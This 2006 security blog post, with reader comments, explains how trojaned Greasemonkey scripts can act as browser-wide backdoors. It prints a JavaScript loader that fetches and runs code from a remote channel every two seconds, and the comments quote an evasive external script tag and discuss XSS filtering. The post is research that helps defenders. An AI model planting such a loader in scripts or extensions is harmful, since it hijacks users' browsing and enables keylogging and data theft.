Backdooring Web Pages

Mon, 28 Aug 2006 11:09:08 GMT
by pdp

Greasemonkey

The most obvious way of maliciously infecting web pages is to perform Cross-Site Scripting (XSS). In practice, XSS vulnerabilities can be persistent and non-persistent. Depending on the type, the attacker has various degree of control. The persistent vector produces better results and it lasts longer, where non-persistent vector lasts a single hit, although it is possible for the attacker to take control of the user browser by using other techniques. Here I am trying to explore another vector that can permanently take control of the user web experience.

IMHO, there are three types of web page backdoors: non-persistent, persistent and global persistent. Non-persistent backdoors occur on a single XSS vulnerable page (hit). Persistent backdoors a bit better because they can occur on one or more XSS vulnerable pages most probably coming from the same domain (site). Global persistent backdoors occur on all domains (sites) and in theory they can last forever.

Global persistent backdoors do not rely on the server being vulnerable to XSS or any other type of server related vulnerability. Global persistent backdoors exploit browser functionalities.

In order to install global persistent backdoor the attacker can exploit known browser vulnerabilities which allow silent installation of new functionalities, exploit known extension vulnerabilities which allow Cross Context Scripting (execution of malicious web content in the browser context) or exploit the user's trust (trojaning).

The first two scenarios rely on a browser or a browser's extensions being vulnerable. Finding those vulnerabilities may take some time and it might not be that feasible, not to mention the fact that once an attacker exploits them the entire system probably will be subjected to attacker's wishes. On the other hand, the last scenario tricks the user into performing something legitimate which in fact turns to be something malicious (trojaning). This quite old trick but very successful and widely exploited as well.

Exploiting the user's trust in order to install backdoor could be achieved in several ways each one of which provides various degree of success. The first one is asking the user to install a browser extension. This type of scenario could be successful in browsers that do not have central extension repositories. In that respect IE is probably the most vulnerable. Opera, with its Web Widgets could potentially fall into the same category. On the other hand, Firefox users tend to install extensions from known sources such as addons.mozilla.org, so they are the least vulnerable.

The second scenario occurs when the attacker is asking the user to install extensions of extension. This one is far more trusted since extensions of extension are believed to be harmless. Firefox's and IE's Greasemonkey extension and Opera's Web Widgets are good examples of those kinds of scenarios.

To some respect, security aware users could detect malicious scripts so they are less vulnerable. On the other hand the average user trusts the security model of the browser, so trojaned Greasemonkey script can be quite easily installed. A sample trojaned script can contain something like the following:

setInterval(function () {
    var head = document.getElementsByTagName('head').item(0);
    var old  = document.getElementById('last_loaded_cmd');

    if (old)
        head.removeChild(old);

    script = document.createElement('script');
    script.src = 'http://path/to/channel';
    script.type = 'text/javascript';
    script.defer = true;
    script.id = 'last_loaded_cmd';
    void(head.appendChild(script));
}, 2000);

The code presented above will query every 2 seconds http://path/to/channel for JavaScript code that is evaluated inside the currently open page. This model allows attackers to inject any type of JavaScript based tool (scanners, other communication channels, page key loggers, etc). Similar effect can be achieved with Opera's Web Widgets although modifications of this code are required.

This type of backdoor has a big problem. Once the user finds that the Greasemonkey script (or the Web Widget) is not needed anymore, or that it contains malicious code, proper cleaning actions will be taken.

This is good but like any other malicious code, web page backdoors can assure the existence of hidden channels for reinstallation and further propagation. In that respect the backdoor could perform internal cross site scripting by poisoning cookies or flash objects such as The Flash Persistent Storage Model which is widely used in several AJAX frameworks. Other countermeasures can be taken as well such as taking advantage of the page caching issues. All of these are related to a discipline known as DOM based Cross-site scripting.

Archived Comments

Brad NeubergBrad Neuberg
Hi! I created the Ajax/Flash storage stuff you talked about and want to make sure it can't be used as an attack vector; can you talk more about how you think it can be used? Right now data is locked to a single domain, so one domain can't access the other domain's data. Further, it only works when invoked over the HTTP protocol, and not if invoked from a chrome:// or file:// protocol, making it difficult for local, compromised trojan code such as a fake firefox trojan to use it as a vector to store malignant information unless they are being served from a local HTTP server. By the way, thanks for doing this work. Sometimes I do work that pushes the bounds of the browser models, such as dojo.storage and beneficial cross-site scripting, but I'm always thinking and worrying about how the work I'm doing might open potential attack vectors. I try to spend alot of time thinking about this stuff myself, and if there is an issue to at least point it out so that developers can be informed (for example, if you host a Dojo Storage app on shared hosting, other apps served from the same domain can access your Dojo Storage data - you have the same access controls as cookies do, which are also linked to a domain - I try to make sure developers know this). Best, Brad
pdppdp
Hi Brad, It is not that you are doing anything wrong with your Flash storage object. It is a brilliant work and I really enjoy playing with it. Here is a very well know cliche that describes pretty much all security problems: "With the great power comes the great responsibility". Now let me explain why it is a security problem. First of all developers will use your flash storage stuff for all sorts of things: mail drafts, temporary storage of sensitive information, etc, etc, etc. If the domain that host your flash storage object is vulnerable to XSS than the information that is trapped inside is far more interesting than the site cookies. The second problem is that developers secure the server by sanitizing all input channels. This is fine, however it is absolutely not a practice to sanitize all input channels that reside on the client. If the developer temporary stores information inside your flash object and then without any sort of sensitization this information is written inside the page via document.write (other ways are also possible) then you have a problem. As I discussed in this post, web page backdoors can use this technique as a channel to reappear again even though they are disabled. This is sort of persistent XSS on the client, also know as DOM-based Cross-site Scripting. Finally, you brought a very valid point earlier that gave me a few ideas. Your flash storage object can be and will be used as a covert channel for other backdoors. You made very good point about the problems around disclosing sensitive information. The problem with the security field is that unless you make enough noise nobody will take you seriously. XSS attacks have been here for ages and many people still believe that they are too lame. For me and other people that I know, it is crucial to stay ahead of the game. After all we are the good guys. It is not that we want to satisfy our ego and that is the reason why we continue researching these topics. All this research, could be valuable to professional attackers but the tendency is that it will take some time until it gets into mainstream exploitation. This gives us a couple of months technological benefit that we will use for the good. Now here is something that I learned from Mario Puzo's The Godfather. When the heads of all families gathered to discuss about the potentials in the drug business there was only one of them that made any sense. This dude, sorry I forgot his name, reasoned that after all, although he don't believe in drugs, he will take part of the business because then he can control it. As such he will do more good than evil by not allowing drug lords to go to schools or other public places. Stupid, but it was fun to mention it! :)
Brad NeubergBrad Neuberg
Good points; I'm a big supporter of the kind of security you are doing, even if it is concerning things I'm working on. Keeps me on my toes :) You identified some interesting attack vectors; if an attacker can write a 'virus' in essence into the Flash storage, it won't be cleared out normally even I clear my cookies. It reminds me of some old computer viruses that would stay even after getting cleaned out by writing themselves into the boot sector and stuff like that. The point about an XSS attack gaining access to valuable local data is also an important one. Both these vulnerabilities seem to be sensitive to getting an XSS foothold first, then exploting Dojo Storage/Flash second. The first line of defense is to secure against untrusted code being executed in your context; this is difficult, as even a remote stylesheet on Internet Explorer, for example, can eval JavaScript inside of a stylerule. The core of the attack is a privilege escalation. The problem is compounded when you combine the cross-site beneficial API calls that I and others are trying to do to create new kinds of mashups. This could potentially allow untrusted code to be evalled in a local context, especially if you are using the SCRIPT trick in order to get around the same domain policy, where you create a new SCRIPT tag dynamically through the DOM and get the results as JavaScript that are evalled. Note, though, that if you use hidden Flash to do the cross-site calls, you can fetch XML from a third party site and pass this back to Ajax/DHTML using the Dojo.Flash library; this makes things safer, because XML is static and doesn't have behavior; perhaps this is a new, good argument for using hidden Flash to do the cross-site mashups we are trying to achieve rather than the SCRIPT trick. The cross-site stuff is definently risky, and it does demand a certain level of awareness from developers; it also depends on them trusting the services they mashup. Perhaps what is needed is a formal methodology to make sure that XSS attacks aren't possible with what you've built; I know the potential futility of such an approach, but it might pan out. One issue that developers must be aware of is how user-generated content fits into all of this; even if they trust the services they mashup, a user-generated piece of content can have dynamic behavior that is running in a local context. Perhaps what we can have is a simple checklist that more junior level programmers who are working with this stuff have to think about:
  • Do you trust what you are mashing up? If not, stop.
  • Even if you trust who you are mashing up, do they allow user-generated content into their return results?
  • Do you allow user-generated content into your results?
This is not a long-term best strategy though. I'm hoping that the beneficial XSS stuff will force the browser developers to build a better model in, such as what the WHATWG group is working on for cross-site communication using static messaging rather than 'behavior'. Best, Brad
Brad NeubergBrad Neuberg
By the way, I do my work with one half excitement and one half trepidation; I'm trying very hard to think about the security issues while also moving the web forward. It's damn hard with the state of the browser world these days; damn Microsoft and Internet Explorer. I bet if got a small number of their core team and explained to them how a small number of important technical decisions now could keep the web from becomming a mess in the future. I have some contacts there; I wonder if we can do a good cop/bad cop kind of thing? By the way, even if we say "no client-side mashups", many of these problems exist with server side mashups as well. My server-side, for example, could be talking to a Yahoo service that returns RSS, which I then return to the client; one of the items in this feed, for example, might have some HTML that has an inline SCRIPT tag, which I then insert into my HTML using innerHTML, causing the SCRIPT tag to execute (not sure if SCRIPT will execute inside of innerHTML). This SCRIPT tag could then do a privilege escalation to access sensitive data, including cookies, and send it off to a third party site using existing leaky holes, like using even the image tag to piggyback info on the URL I fetch for the image.
pdppdp
First of all I have a few comments on fetching XML via Dojo.Flash. The thing is that XML is far from static. In fact XML is a framework capable of describing tasks. XML is very broad and there are so many technologies involved in it that makes developer's live hard to cope with. XSLT for example is Turing complete language capable of producing polymorphic code. Writing virus or worm in XSLT is not as trivial as writing it in C or JavaScript but still possible. The sad fact is that XML can be used to backdoor even your browser. Firefox is nothing but mashup of XML related technologies (RDF, XSLT, XPath, ... etc). It is also worth mentioning that many times XML is used to encapsulate otherwise raw data. XML is also used as a transport protocol. Again, the encapsulated data that resides inside must be sanitized. Because XML and all technologies based on it are so complicated it is much easier to make mistakes. Again, the sad fact is that XML can be used to backdoor your pages. I agree that some kind of Dojo Security Guide will be overally beneficial. However, IMHO, it is far from practical. The security field (and other fields as well) goes through cycles. When something is fixed another thing gets broken. If you fix the security than you break the accessibility. Then you fix the accessibility and at the same time break the security. There is only a golden middle. :)
Brad NeubergBrad Neuberg
Ah, yes, XML can contain an XSLT stylesheet directive, but that won't be executed if fetched through Flash or XmlHttpRequest; it is simply a dumb document at that point. You're correct about the fact that XML can be a wrapper around raw data, which we've seen with the RSS exploits. You've got to sanitize your data. Secure systems are ultimately simple systems, and the web at this point is anything but. I'm just a web dev trying to push the browser past it's limits; I think the reponsibility really falls on the browser makers (read: IE) to help change the situation. If we had one clear path for each of these things it might help things. Best, Brad
pdppdp
As you said "secure systems are ultimately simple systems". Don't use general purpose parsers. Sometimes simple regex could be much better.
Brad NeubergBrad Neuberg
But XSS filters that use simple regex are a part of the problem themselves... they miss important edge cases, such as:
<
 script
src="http://foobar.com/badscript.js"
>
This is valid HTML; the only way to catch it is to parse your HTML before executing it, then whitelist the elements you want to keep. Brad
pdppdp
You have the developer eye, this one I can tell for sure. :) OK the problem is that you are generalizing... why not be specific. Getting the information the following way <age>(\d+)</age> is much more secure than parsing it with general purpose parser. You don't need blacklist or white list. In this example you expect something to be the way you want it to be. If it is not then it fails. I know that usually things are not that simple. The example above is suitable for data extraction. The hardest part is to perform data striping. However, stripping out special characters is sometimes as simple as the fowling /<|>|&.*?;|(... here more rules ...)//. You can add a few more rules inside. I am far from thinking that these approaches are perfect. The list of possible problems is endless.
stephenstephen
the school keeps blocking this page so i keep having to find a way around it and i have run out of ways
pdppdp
Seriously? That is the first case reported. I must admit that some of the materials on this blog are a bit dodgy but in general they are valid computer security research and it should be taken seriously by educational institutions. But again, who am I kidding? The government don't want you to know more than what they know. Maybe you can use some of the AJAX proxies available on the net or even Google translate.
bryanbryan
go to it
JakeJake
I don't understand how this code is executed on all the pages? I have a website that is loading my page through an iframe and I want to run the script I attached on the page that loaded my iframe. I ran this code and outputted some debugging information and all that happens is this script being re-attached to the head of the page opened in the iframe, not the iframe's parent window. How do I fix this?